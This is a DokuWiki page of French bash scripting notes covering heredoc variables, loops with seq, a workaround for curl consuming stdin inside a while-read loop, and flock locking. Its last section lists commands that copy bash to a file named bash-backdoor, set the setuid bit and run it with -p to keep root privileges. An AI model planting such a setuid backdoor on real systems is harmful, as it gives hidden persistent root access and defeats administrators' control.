Outils pour utilisateurs

Outils du site


tech:notes_script_bash

Ceci est une ancienne révision du document !


Notes script bash

Variables

Fichier dans une variable - variable heredoc

ETCHOSTS=$(cat << 'EOF'
10.245.97.221      node1
10.245.102.221     node1b
EOF
)

Les boucles

Voir aussi :

For

for (( i=1; $i<=10; i=i+1 ))
do
    echo $i
done

Voir exemple avec seq ci-dessous

seq

#for i in $(seq 10)
for i in $(seq 1 10)
do
  echo $i
done
for i in {1..5}
do
  echo $i
done
seq -f "%f" 3 0.8. 6
seq -f "%g/04/2018" 10
seq -s - 8

pb curl break

fic.lst
foo
bar
plop_sleep.sh
#! /bin/bash
 
while read -r var
do
        echo $var
        timeout 1 sleep inf
done < fic.lst
plop_curl.sh
#! /bin/bash
 
while read -r var
do
        echo $var
        timeout 1 curl -s telnet://localhost:22
done < fic.lst
$ ./plop_sleep.sh
foo
bar

$ ./plop_curl.sh
foo

Contournement

plop_curl_2.sh
#! /bin/bash
 
while read -r var
do
        echo $var
        echo timeout 1 curl -s telnet://localhost:22 | bash -s --
done < fic.lst

Vraie solution

plop_curl_2.sh
#! /bin/bash
 
while read -r var
do
        echo $var
        timeout 1 curl -s telnet://localhost:22 </dev/null
done < fic.lst

Gérer les locks

flock -n /tmp/plop.lock -c /opt/plop1.sh -c /opt/plop2.sh

bash Options

Bash suid binary privilege escalation

sudo cp -p /usr/bin/bash /usr/bin/bash-backdoor
sudo chmod u+s /usr/bin/bash-backdoor
/usr/bin/bash-backdoor -p
tech/notes_script_bash.1742825205.txt.gz · Dernière modification : de 127.0.0.1

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki